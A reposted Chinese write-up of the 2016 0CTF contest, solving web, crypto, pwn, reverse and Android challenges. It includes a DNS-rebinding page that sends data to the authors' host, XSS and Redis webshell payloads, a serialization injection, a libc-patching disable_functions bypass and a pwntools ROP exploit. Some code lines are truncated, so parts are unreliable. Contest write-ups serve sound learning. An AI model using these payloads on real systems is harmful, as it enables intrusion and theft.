0ctf writeup

转载

weixin_34384915 于 2018-03-08 11:06:27 发布 987 收藏
文章标签： php python 运维
原文链接：https://juejin.im/post/5aa11933f265da238e0d51cf

> felixk3y · 2016/03/17 10:24

Author：双螺旋安全研究院

0x00 Rand_2(web)

访问http://202.120.7.202:8888/，即可获取到题目的源码：

```
#!php
<?php
 include('config.php');
 session_start();

 if($_SESSION['time'] && time() - $_SESSION['time'] > 60){
    session_destroy();
    die('timeout');
 } else {
    $_SESSION['time'] = time();
 }

 echo rand();
 if(isset($_GET['go'])){
    $_SESSION['rand'] = array();
    $i = 5;
    $d = '';
    while($i--){
        $r = (string)rand();
        $_SESSION['rand'][] = $r;
        $d .= $r;
    }
    echo md5($d);
 }else if(isset($_GET['check'])){
    if($_GET['ckeck'] === $_SESSION['rand']){
        echo $flag;
    } else {
        echo 'die';
        session_destroy();
    }
 } else {
    show_source(__FILE__);
 }
?>
```

复制代码

由源码可以得知，在没有GET参数go的时候，会生成并输出一个随机数，当带上GET参数go的时候，会在session中写入五个随机数，并将他们组合起来的hash返回，如果提交的check和`session['rand']`的值相等，则返回flag。

参考：www.sjoerdlangkemper.nl/2016/02/11/…

文章中提到了：

```
#!php
state[i] = state[i-3] + state[i-31]
return state[i] >> 1
复制代码
```

根据这一思路，如果我们能得到连续的超过32个生成的随机数，就可以预测后面生成的数字。为了得到连续的随机数，使用requests.session来keep-alive。

在实际测试中，我发现有时候预测出来的结果会和实际得到的结果差1，不过没有找到规律，所以没有管他，直接多跑了几遍就出来了flag，脚本如下：

```
#!python
import requests
while 1:
    s = requests.session()
    l = []
    for i in range(50):
  l.append(int(s.get('http://202.120.7.202:8888/').content.split('<code')[0].strip(), 10))
    resp = s.get('http://202.120.7.202:8888/?go=1')
    l.append(int(resp.content.strip()[:-32], 10))
    print resp.content.strip()[-32:]
    url = 'http://202.120.7.202:8888/?'
    for i in range(5):
        index = len(l)
        r = (l[index-3]+l[index-31]) % 2147483648  # 2147483647
        l.append(r)
        url += 'check[]={}&'.format(r)
    resp = s.get(url)
    print resp.request.url
    print resp.content
复制代码
```

0x01 Monkey(web)

通过一个自己构造的页面来获取http://127.0.0.1:8080/secret页面的内容。

一开始想通过XSSI的思路来获取页面内容，不过只能得到Script Error错误，之后换了个思路，找到了https://bugzilla.mozilla.org/show_bug.cgi?id=1106687。

虽然带 . 的已经不能用了，但是还是可以利用这个思路来绕过。

我们先把自己的域名DNS TTL改成了10，然后提交一个页面http:// pkav.net:8080/，延迟60秒后读取http://pkav.net:8080/secret并把结果返回给远程服务器，在这段时间之内把域名的DNS记录修改为127.0.0.1，即可读取到http://127.0.0.1:8080/secret的内容。

打了两次没有成功，后来队友尝试了一下解析一下 pkav.net.刷新DNS缓存后成功了。

```
#!js
<html>
<script src="js/jquery-1.7.min.js"></script>
<script>
function getdata(){
    $.get('http://pkav.pkav.net:8080/secret',function(data){
        $.get('http://pkav.net/xss.php?xss='+data);
    });
}
function refresh(){
    $.get('http://pkav.pkav.net./');
}
setTimeout("refresh()",30000);
setTimeout("getdata()",100000);
</script>
</html>
复制代码
```

0x02 Piapiapia(web)

代码审计题，flag在config.php文件。class.php文件里，有过滤函数：

profile.php中有读取文件的代码：

这里如果我们能控制`$profile['photo']`的值，那么就可以读取config.php文件，从而获取flag。

`$profile`写入数据库时的代码如下：

可以看出对`$_POST['nickname']`的过滤是可以绕过的

```
#!php
if(preg_match('/[^a-zA-Z0-9_]/', $_POST['nickname']) || strlen($_POST['nickname']) > 10)
复制代码
```

我们只要传入一个数组即可绕过正则和strlen的限制。

同时在update_profile的时候，是将数组序列化之后的字符串传入filter，并将where替换成了hacker，导致字符串长度变长了1。

于是可以利用这里来把我们构造的内容给挤出s:xx:”string”的范围，构造任意内容。

队友把相关函数抠出来写了一个脚本来测试：

为了构造photo字段，需要填充：`";}s:5: "photo";s:10: "config.php`

被闭合之后，完整的合法serialized array后面的字符会被忽略掉。

一共多出来31个字符，所以需要31个where。

构造nickname：

```
#!php
nickname[]=wherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherewherew
复制代码
```

更新资料(update_file)后，访问profile.php，config.php的内容便写在img标签的data URL中。

0x03 Guestbook（1）(web)

首先我们随便提交一个message，看了下输出的HTML：

username写在div的id属性中，message写在JavaScript的data变量中，测试了几次后发现message里的\\会变成\，可以构造成任意字符。secret在URL的GET参数里。

那么如果我们的secret包含`<script>var debug=false;</script>`，Chrome的XSS filter会认为HTML出现的`<script>var debug=false;</script>`是反射XSS的输出，把他给屏蔽掉无法执行。debug变量会引用到一个标签上去，把username写成debug则`if(debug)`就会为true，执行`t.innerHTML = data`，从而实现XSS。

POST数据包：

```
#!bash
POST /message.php HTTP/1.1
Host: 202.120.7.201:8888
Content-Length: 832
Cache-Control: max-age=0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Origin: http://202.120.7.201:8888
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_11_3) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/4
Content-Type: application/x-www-form-urlencoded
Referer: http://202.120.7.201:8888/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.8,en;q=0.6,zh-TW;q=0.4

secret=1z1zfqwq%3Cscript%3Evar+debug%3Dfalse%3B%3C%2Fscript%3E&username=debug&message=\\x3cimg+src%3d%23+id
复制代码
```

写了几行JS来读取当前页面HTML，

得到：

读取/admin/server_info.php：

```
#!php
xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","/admin/server_info.php ",false);xmlhttp.send();r=xmlhttp.r
复制代码
```

发现是一个PHP探针，带了一个phpinfo，phpinfo中会回显出整个`$_COOKIE`数组，得到flag

0x04 Guestbook(2) (web)

在guestbook(1)的phpinfo中，发现：

感觉是redis未授权访问，bind 127.0.0.1:6379，结合/admin/show.php中注释里提示的uploads目录，写webshell。

于是初步的想法是通过XSS来访问redis，HTTP头会被当成无效指令，不影响其他行的执行。

```
#!php
xmlhttp=new XMLHttpRequest();xmlhttp.open("GET","http://127.0.0.1:6379",false);xmlhttp.send('flushall\r\nse
复制代码
```

本地Redis测试成功，但在远程服务器上死活写不了shell，后来用nc看了一下:

发现会先发一个OPTIONS请求，目测是这个请求失败以后POST包根本没有发出去。

后来经过多次的测试发现，改用form， multipart来换行：

```
#!php
f=document.createElement('form');['CONFIG SET dir /usr/share/nginx/html/uploads/','CONFIG SET dbfilename pk
复制代码
```

成功拿到webshell。

然后先利用open_basedir的bypass列出来了/目录：

发现有个flag_reader，应该是只能通过执行flag_reader来读`/flag`文件。

利用 raw.githubusercontent.com/beched/php_…这个的思路来bypass disable_functions，不过这个脚本不能直接用，因为/lib没在open_basedir里面，帮pwner把libc跟elf从/proc/self/mem里抠了出来，本来想让他直接去算偏移硬编码进去， 他研究了一下之后说可以直接写代码段，不用改GOT表那么麻烦。

最终利用代码：

```
#!php
<?php
  $jmp_system = "\xE9\x2B\xB0\xF5\xFF";
  $system_addr = 0x46640;
  $open_addr = 0xeb610;
  $maps = file_get_contents("/proc/self/maps");
  preg_match('#([0-9a-f]+)\-[0-9a-f]+.+/.+libc\-.+#', $maps, $r);
  $libc_base = hexdec($r[1]); echo $libc_base;
  $file = fopen("/proc/self/mem", "wb");
  fseek($file, $open_addr + $libc_base);
  fwrite($file, $jmp_system, strlen($jmp_system));
  fopen("/flag_reader > /usr/share/nginx/html/uploads/pkav/xxxxxxxxxxxx.txt", 'r');
?>
复制代码
```

0x05 OPM(Misc)

访问http://dl.0ops.net/opm，将文件下载回来，并载入winhex，通过头可以看出是个压缩文件，解压得到一个png图片，使用神器stegsolve分析，可以看到rgb的最低有效位存在数据，应该使用lsb算法隐藏信息

观察最低位数据,根据头看出是一个压缩文件

“save bin“保存成压缩文件，打开得到一个文件名为arm汇编指令的文本文件，qwq，安卓不懂，交给安卓牛分分钟秒掉。

读取地址和指令txt文件，通过py排序生成bin文件。

ida加载bin文件，发现3段汇编代码，观察汇编模式，得到关键函数sub_5c

第一个部分：plt表

```
#!bash
ROM:00000000 00 C6 8F E2    ADR    R12, 8
ROM:00000004 04 CA 8C E2    ADD    R12, R12, #0x4000
ROM:00000008 0C F4 BC E5    LDR    PC, [R12,#0x40C]!
复制代码
```

第二部分：jni函数

```
#!bash
ROM:0000000C 00 48 2D E9    STMFD    SP!, {R11,LR}
ROM:00000010 04 B0 8D E2    ADD      R11, SP, #4
ROM:00000014 18 D0 4D E2    SUB      SP, SP, #0x18
ROM:00000018 10 00 0B E5    STR      R0, [R11,#var_10]
ROM:0000001C 14 10 0B E5    STR      R1, [R11,#var_14]
ROM:00000020 18 20 0B E5    STR      R2, [R11,#var_18]
ROM:00000024 10 30 1B E5    LDR      R3, [R11,#var_10]
ROM:00000028 00 30 93 E5    LDR      R3, [R3]
ROM:0000002C A4 32 93 E5    LDR      R3, [R3,#0x2A4]
ROM:00000030 10 00 1B E5    LDR      R0, [R11,#var_10]
ROM:00000034 18 10 1B E5    LDR      R1, [R11,#var_18]
ROM:00000038 00 20 A0 E3    MOV      R2, #0
ROM:0000003C 33 FF 2F E1    BLX      R3  (获取字符串长度模式代码)
ROM:00000040 08 00 0B E5    STR      R0, [R11,#var_8]
ROM:00000044 08 00 1B E5    LDR      R0, [R11,#var_8]
ROM:00000048 03 00 00 EB    BL       sub_5C
复制代码
```

查看算法，起始函数部分暴露key为16长度，其中`BL 0xFFFFFF80`实际为strlen。F5观察代码，发现其为16阶的线性方程组。

```
#!bash
ROM:0000005C 00 48 2D E9    STMFD    SP!, {R11,LR}
ROM:00000060 04 B0 8D E2    ADD      R11, SP, #4
ROM:00000064 88 D0 4D E2    SUB      SP, SP, #0x88
ROM:00000068 88 00 0B E5    STR      R0, [R11,#str]
ROM:0000006C 88 00 1B E5    LDR      R0, [R11,#str]
ROM:00000070 C2 FF FF EB    BL       0xFFFFFF80
ROM:00000074 00 30 A0 E1    MOV      R3, R0
ROM:00000078 10 00 53 E3    CMP      R3, #0x10
ROM:0000007C 01 00 00 0A    BEQ      loc_88
ROM:00000080 88 30 1B E5    LDR      R3, [R11,#str]
复制代码
```

等式右边的值为：

```
#!bash
ans[15] = 0xFFFFCE56;
ans[14] = 0x4FCE;
ans[13] = 0x32DB;
ans[12] = 0xFFFFE038;
ans[11] = 0xFFFFA5C5;
ans[10] = 0x7ACB;
ans[9]  = 0x442C;
ans[8]  = 0xFFFFD069;
ans[7]  = 0x3BA1;
ans[6]  = 0xFFFF963A;
ans[5]  = 0x6BAC;
ans[4]  = 0x21B6;
ans[3]  = 0x5081;
ans[2]  = 0xD0C2;
ans[1]  = 0xFFFFF5AB;
ans[0]  = 0xFFFFE48E;
复制代码
```

输入方程系数，通过matlab矩阵求逆获得输入。计算结果为小数(我以为输入系数手误，对了3遍 2333...)。最后四舍五入取证代入校验算法，通过后得到`key: Tr4c1NgF0RFuN!`

0x06 RSA ?(Crypto)

```
#!bash
➜  rsa openssl rsa -pubin -text -modulus -in warmup -in public.pem
Modulus (314 bit):
    02:ca:a9:c0:9d:c1:06:1e:50:7e:5b:7f:39:dd:e3:
    45:5f:cf:e1:27:a2:c6:9b:62:1c:83:fd:9d:3d:3e:
    aa:3a:ac:42:14:7c:d7:18:8c:53
Exponent: 3 (0x3)
Modulus=2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53
writing RSA key
-----BEGIN PUBLIC KEY-----
MEEwDQYJKoZIhvcNAQEBBQADMAAwLQIoAsqpwJ3BBh5Qflt/Od3jRV/P4Seixpti
HIP9nT0+qjqsQhR81xiMUwIBAw==
-----END PUBLIC KEY-----
复制代码
```

.

```
#!bash
➜  rsa python
Python 2.7.11 (default, Jan 22 2016, 08:29:18)
[GCC 4.2.1 Compatible Apple LLVM 7.0.2 (clang-700.1.81)] on darwin
Type "help", "copyright", "credits" or "license" for more information.
>>> int('0x2CAA9C09DC1061E507E5B7F39DDE3455FCFE127A2C69B621C83FD9D3D3EAA3AAC42147CD7188C53', 16)
232927109786703804036412732700028847470600065680462900119184133754739340240397151805408873380 67L
复制代码
```

其中：

```
#!bash
e = 3
n =232927109786703804036412732700028847470600065680462900119184133754739340240397151805408873380671
复制代码
```

在factordb.com/得到n的质因子分解式。

```
#!bash
n = 264406153663952421965168534234470 * 270381940535406619790456565260630 * 325814793004048767724057168775470
p = 26440615366395242196516853423447
q = 27038194053540661979045656526063
r = 32581479300404876772405716877547
复制代码
```

但是这里n有三个质因子，查阅资料后发现rsa有种形式为multi-prime，不过这里$(\varphi(n))$与e不互质，依然不满足multi-prime的关系。

如果这个加密关系满足$(C=M^e \mod(n))$，那么我们就可以使用剩余定理尝试所有可能性。因为这里e为3。

使用GP/PARI 对p、q、r算出所有满足$(x^e \mod(p)- c(\mod(p))=0)$的x。

之后通过剩余定理尝试所有可能性并都打印出来获得flag: 0ctf{HahA!Thi5_1s_n0T_rSa~}。

```
#!python
from rsa_decrypt import chinese_remainder_theorem

c = 248536025530661968434513143186735043220547762562136664288775272012517646399383976674223402752
n = 232927109786703804036412732700028847470600065680462900119184133754739340240397151805408873380671
e = 3

p = 26440615366395242196516853423447
q = 27038194053540661979045656526063
r = 32581479300404876772405716877547

c_p = c % p
c_q = c % q
c_r = c % r

p_roots = [133748685928666265173891282667335, 737936174742271381165408647776, 568638502610590186747363867891
q_roots = [19616973567618515464515107624812]
r_roots = [134042031094093360452835497153777, 130280115857069569360526280276291, 614926460528858379106953913477

for m_p in p_roots:
    for m_q in q_roots:
        for m_r in r_roots:
            data = chinese_remainder_theorem([(m_p, p), (m_q, q), (m_r, r)])
            data = '0' + hex(data)[2:-1] if len(hex(data)[2:-1]) % 2 == 1 else hex(data)[2:-1]
            print data.decode('hex')
复制代码
```

0x07 equation(Crypto)

根据题目将文件下载回来(http://dl.0ops.net/equation.zip)发现私钥中上半部分被打码了，使用binwalk跑了一下找到了私钥的一部分:

```
#!bash
-----BEGIN RSA PRIVATE KEY-----
[masked]
Os9mhOQRdqW2cwVrnNI72DLcAXpXUJ1HGwJBANWiJcDUGxZpnERxVw7s0913WXNt
V4GqdxCzG0pG5EHThtoTRbyX0aqRP4U/hQ9tRoSoDmBn+3HPITsnbCy67VkCQBM4
xZPTtUKM6Xi+16VTUnFVs9E4rqwIQCDAxn9UuVMBXlX2Cl0xOGUF4C5hItrX2woF
7LVS5EizR63CyRcPovMCQQDVyNbcWD7N88MhZjujKuSrHJot7WcCaRmTGEIJ6TkU
8NWt9BVjR4jVkZ2EqNd0KZWdQPukeynPcLlDEkIXyaQx
-----END RSA PRIVATE KEY-----
复制代码
```

再用pngcheck检查图片，发现了IEND块有附加数据，验证为上述私钥的部分字符串。

```
#!bash
➜  equation pngcheck -v mask.png
File: mask.png (30810 bytes)
  chunk IHDR at offset 0x0000c, length 13
    717 x 384 image, 32-bit RGB+alpha, non-interlaced
  chunk sRGB at offset 0x00025, length 1
    rendering intent = perceptual
  chunk gAMA at offset 0x00032, length 4: 0.45455
  chunk pHYs at offset 0x00042, length 9: 3780x3780 pixels/meter (96 dpi)
  chunk IDAT at offset 0x00057, length 30327
    zlib: deflated, 32K window, fast compression
  chunk IEND at offset 0x076da, length 0
  additional data after IEND chunk
ERRORS DETECTED in mask.png
➜  equation
复制代码
```

开始一直纠结可能数据还在图片里，后来想想看密钥的一部分字符串给了出来是为了方便分析吗？

便去google RSA证书文件信息。

```
#!bash
RSAPrivateKey ::= SEQUENCE {
    version Version,
    modulus INTEGER, -- n
    publicExponent INTEGER, -- e
    privateExponent INTEGER, -- d
    prime1 INTEGER, -- p
    prime2 INTEGER, -- q
    exponent1 INTEGER, -- d mod (p-1)
    exponent2 INTEGER, -- d mod (q-1)
    coefficient INTEGER, -- (inverse of q) mod p
    otherPrimeInfos OtherPrimeInfos OPTIONAL
}
复制代码
```

发现残余的部分含有 e、d mod(p-1)和d mod (q-1)。

这样我们就可以暴力跑出来p，q。

```
#!python
import gmpy
d_p = 0xd5a225c0d41b16699c4471570eecd3dd7759736d5781aa7710b31b4a46e441d386da1345bc97d1aa913f853f850f6d4684a
d_q = 0x1338c593d3b5428ce978bed7a553527155b3d138aeac084020c0c67f54b953015e55f60a5d31386505e02e6122dad7db0a0
e = 65537
for k_p in range(1, e):
    if (e*d_p - 1) % k_p == 0:
        p = (e*d_p - 1) / k_p + 1
        if gmpy.is_prime(p):
            print '[p] {}'.format(p)
            break
for k_q in range(1, e):
    if (e*d_q - 1) % k_q == 0:
        q = (e*d_q - 1) / k_q + 1
        if gmpy.is_prime(q):
            print '[q] {}'.format(q)
            break
# [p] 128834299396391004790030585185232484938216882076971384178346312186380275645623066202148639884476813000
# [q] 125028936349231615998244651464070698822285137769477072954768059973117768558790240022895935986579497837
复制代码
```

直接用p，q，e算出d。则m=pow(c, d, n)。

`flag:0ctf{Keep_ca1m_and_s01ve_the_RSA_Eeeequati0n!!!}`

0x08 Warmup(Exploit)

根据题目描述，这道题目只能去读取/home/warmup/flag。实际测试不能执行execve等系统调用。在栈中布置payload可以进行rop调用open，read，write来读取flag。

```
#!python
#!/usr/bin/env python2
from pwn import *
#0ctf{welcome_it_is_pwning_time}
r = remote('127.1', 4444)
#r = remote('202.120.7.207', 52608)
data = 0x080491BC
read = 0x0804811D
add_esp = 0x080481B8
flag = '/home/warmup/flag\x00'
buf = data+len(flag)
raw_input('debug')
payload = 'A'*0x20 + p32(0x080480D8) + 'AAAA' * 4
r.send(payload)
payload = 'A'*0x20 + p32(0x080480D8) + p32(add_esp) + p32(1) + p32(buf) + p32(64)
r.send(payload)
payload = 'A'*0x20 + p32(0x080480D8) + 'AAAA' * 3 + p32(0x08048135)
r.send(payload)
payload = 'B'*0x20 + p32(0x080480D8) + 'BBBB' * 4
r.send(payload)
payload = 'B'*0x20 + p32(0x080480D8) + p32(buf) + p32(64) + 'BBBB' * 2
r.send(payload)
payload = 'B'*0x20 + p32(0x080480D8) + 'BBBB' * 1 + p32(read) + p32(add_esp) + p32(3)
r.send(payload)
payload = 'C'*0x20 + p32(0x080480D8) + 'CCCC' * 4
r.send(payload * 2)
payload = 'C'*0x20 + p32(0x080480D8) + p32(add_esp) + p32(data) + p32(0) + 'CCCC'
r.send(payload)
payload = 'D'*0x20 + p32(0x080480D8) + 'DDDD' * 3 + p32(0x08048122)
r.send(payload * 3)
#send flag
payload = 'C'*0x20 + p32(read) + p32(0x0804815A) + p32(0) + p32(data) + p32(len(flag)) + flag
r.send(payload)
# eax = 5
payload = 'D'*0x20 + p32(read) + p32(add_esp) + p32(0) + p32(buf) + p32(5) + 'd'*5
r.send(payload)
print r.recv(1024)
复制代码
```

0x09 Sandbox(Exploit)

这道题给了warmup的sandox程序。逆向分析发现他通过ptrace限制了warmup只能调用open，read，write，alarm，exit，mmap，mprotect这些系统调用。并且open的第一个参数只能是”/home/warmup/flag”，但是这个处理逻辑可以绕过：

当realpath的的第一个参数这个文件不存在的时候返回NULL。将文件地址写成“/proc/self/tasks/7777/../../../../home/sandbox/flag”，然后不断连接生成进程，当warmup的pid为7777时，sandbox的realpath调用返回NULL，同时warmp成功open了flag，就可以读取flag了。

0x0A Trace(Reverse)

题目给了一个trace log。首先通过grep jal可以得到所调用的所有函数的起始地址，接着grep jr r31得到函数的结束地址，总共3个函数：00400770，004007d0，00400858，分别为strlen，strcpy和一个递归的快排。从log中根据地址剔去这几个函数的代码得到主函数，主函数首先生成了a-zA-Z0-9{} + flag这样的一个字符串，然后对其进行快排，接着对结果开始对比是否前一个字符串是否和后面的相同。

分析log可以手工将后面对比是否相同的代码分解成几个基本块，接着写脚本分析基本块得到flag包含的字符：0111355555699cfkllmrrstt{}。

```
#!python
#!/usr/bin/python2
import string
start = 0
table = string.digits + string.ascii_uppercase + string.ascii_lowercase+ '{}'
result = ''
i = 0
with open('./tail.log') as f:
    for line in f:
        if '[INFO]00400b90' in line:
            flag = True
        elif '[INFO]00400bbc' in line:
            flag = False
            i += 1
        elif '[INFO]00400bc8' in line and flag:
            result += table[i]
print result
复制代码
```

利用同样的方法分析快排程序得到快排结果：

```
#!python
import string
table = list(string.ascii_letters + string.digits + '{}') + range(26)
f = open('858.log')
def qsort(s, begin, end):
    t = True
    i, j= begin + 1, begin + 1
    for l in f:
        if 'jr r31' in l:
            return
        elif '004008ac' in l:
            t = True
        elif '004008cc' in l:
            t = False
            s[i], s[j] = s[j], s[i]
            j, i = j+1, i+1
        elif '00400920' in l and t:
            i += 1
        elif '00400940' in l:
            s[j-1], s[begin] = s[begin], s[j-1]
            qsort(s, begin, j-1)
        elif '00400998' in l:
            qsort(s, j, end)
qsort(table, 0, len(table))
print table
复制代码
```

将两者结合就得到了flag:0ctf{tr135m1k5l96551s9l5r}

0x0B momo(Reverse)

下载文件时是一个32位的ELF文件，直接运行提示0ops try again，输入正确的Flag时提示Congratulations。

在IDA中进程初步分析，发现程序代码中只包含了mov和jz两种指令，程序经过变形。程序中使用了多张表，来进行加法、减法、异或和或运算等操作。最后通过查表的方式来完成运行，并通过mov指令来实现，并以此来迷惑大家。

经过分析，程序取输入lag取其中的28个字节来进行运算，因此输入Flag总共28个字节。在计算是，总共有两个长度为28个字节的参与固定运算的表，其中一个表依次与Flag中的每个字节进行加或者减运算操作，而另外一个则上一步得到的运算结果中的每个字节进行异或操作，最后将异或后结果依次进行或运算操作。如果最后结果为0，则提示成功，否则失败。

大概流程如下：

```
#!bash
Operate{+，-，-，+，-，-，+，+，+，-,+,+,+,+,-,+,+,+,-,+,-,-,+,+,+,-,-}
Table1 {9,2,7,F,,7,7,9,4,E,8,13,6,1,1,3,1,9,0,9,9,9,2,1,A,5,6,21,7D}
Table2{39,61,6D,75,74,66,39,5A,6D,41,48,65,75,56,75,30,57,39,68,5A,39,4E,30,4F,6F,39,21,7D}
复制代码
```

由于最后是要求与Table2进行或运算或者减法算操作，结果为0，因此要求输入Flag经过和Table1相应的运算后的结果和Table2应该相同，因此表Table2按字节减去或者加上对应的Table1中对应的字节即可的
Flag：0ctf{m0V_I5_tUr1N9_c0P1Et3!}

0x0C boomshakalaka(Mobile)

拿到apk先反编译，主Activity的java代码如图

可以看到功能不多，主要使用a类和启动coco2d，分析a类，如图

a类功能是进行sharedpreferences存储，结合主Activity的调用得到可知创建了两个sharedpreferences文件，分别是flag.xml和CocosdxPrefsfile.xml，然后写入了数据，试玩一把，查看这两个文件

flag中的内容看起来就像base64编码，解码可得bazingaaaa。不是flag。尝试用base64解码另一个。

额，结果？提交果然不对，在主Activity里可以看到MGN0是固定输入 每次启动程序会输入，是0tcf的编码。

又玩了一把更新最高分，CocosdxPrefsfile.xml中的内容变成

```
MGN0ZntDMGNvUzJkX0FuRHJvdz99ZntDMGNvUzJkX0FuRHJvMWRfRzdz99
复制代码
```

又追加了内容，格式很明显，中括内的内容添加了。

```
MGN0 ZntDMGNvUzJkX0FuRHJv dz99
ZntDMGNvUzJkX0FuRHJvMWRfRz dz99
复制代码
```

结合题目Highscore，看来是要到某一个分数才能写完。

于是分析a类调用，发现java层和so都没有找到。后来想是不是直接访问了文件，在smali中查找CocosdxPrefsfile，果然发现，在cocos2dxhelper中也有对这个文件的操作。

然后分析这个类的调用，找到在so中的调用。

查找字符串，分析地址调用。

根据调用找到关键函数，在_Z18setStringForKeyJNIPKcS0_中用Cocos2dxHelper进行string写入

然后再分析setstringforkey的调用。

写入的地方较多，查看了一下调用位置

可以看到写入的内容，每次写入两个字符，对比一下Cocos2dxPrefsFile文件中的字符串，发现差不多了。

再分析发现下图绿框中写入的内容是初始化时写入的，每次都有所以就不分析了，而红框中的写入内容与得分相关。

所以分析updatescore函数逻辑，获得写入顺序，构造字符串，成功

字符串MGN0ZntDMGNvUzJkX0FuRHJvMWRfRzBtRV9Zb1VfS24wdz99

解码结果 0ctf{C0coS2d_AnDro1d_G0mE_YoU_Kn0w?}